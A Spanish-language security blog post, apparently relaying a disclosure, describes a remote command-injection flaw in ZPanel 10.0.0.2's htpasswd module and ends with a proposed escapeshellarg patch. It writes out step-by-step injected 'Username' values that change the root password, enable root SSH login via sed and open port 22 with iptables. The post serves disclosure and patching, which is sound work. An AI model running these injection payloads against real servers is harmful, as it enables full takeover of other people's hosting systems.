Si hace poco "Kingcope" publicaba exploits para versiones antiguas de Plesk, ahora le toca el turno a ZPanel, otro de los paneles para hosting web más usados en la actualidad.
Concretamente se trata de una vulnerabilidad en el módulo "Protect Directory" de la versión 10.0.0.2 que puede permitir la ejecución remota de comandos en
la shell de la máquina debido al inexistente revisión/escape de los
datos entrada. Sería por ejemplo posible el cambio de contraseña de root
y el acceso completo al servidor.
Los pasos para explotarlo serían los siguientes:
1. Accede como cualquier usuario y vista http:///?module=htpasswd&selected=Selected&path=/
1a. En el campo "Username" introduce (incluyendo el punto y coma inicial y la almohadilla del final):
;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" #
2. Escribe cualquier contraseña (newpassword)
3. La contraseña de root será cambiada a "newpassword"
4. Visita http:///?module=htpasswd&selected=Selected&path=/
5. En el campo "Username" introduce (incluyendo también el punto y coma inicial y la almohadilla del final):
;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes \#/" /etc/ssh/*hd*g' #
6. Esto te permitira el acceso SSH como root
7. También puedes repetir el proceso para abrir el puerto 22 en iptables (iptables -A INPUT -p tcp --dport 22 -j ACCEPT)
y reiniciar el servidor SSH (requerirá el proceso dos veces dado que el
tamaño del buffer interno del comando zsudo es de 100 caracteres)
Aunque
de momento se aconseja desactivar el módulo se plantea como parche
añadir la función 'escapeshellarg' en
modules/htpasswd/code/controller.ext.php línea 233:
fs_director::SetFileSystemPermissions($htaccesfiledir, 0777);
$htpasswd_exe = ctrl_options::GetSystemOption('htpasswd_exe') . " -b -m -c " .
$htaccesfiledir .
$row['ht_id_pk'] . ".htpasswd " .
escapeshellarg($inHTUsername) . " " . escapeshellarg($inHTPassword) . "";
system($htpasswd_exe);
Fuente
Home
»
Bug en Software
»
Hackers
»
Seguridad Informatica
» Vulnerabilidad crítica en Zpanel 10.0.0.2 permite la ejecución remota de código
Suscribirse a:
Enviar comentarios (Atom)
0 comentarios:
Publicar un comentario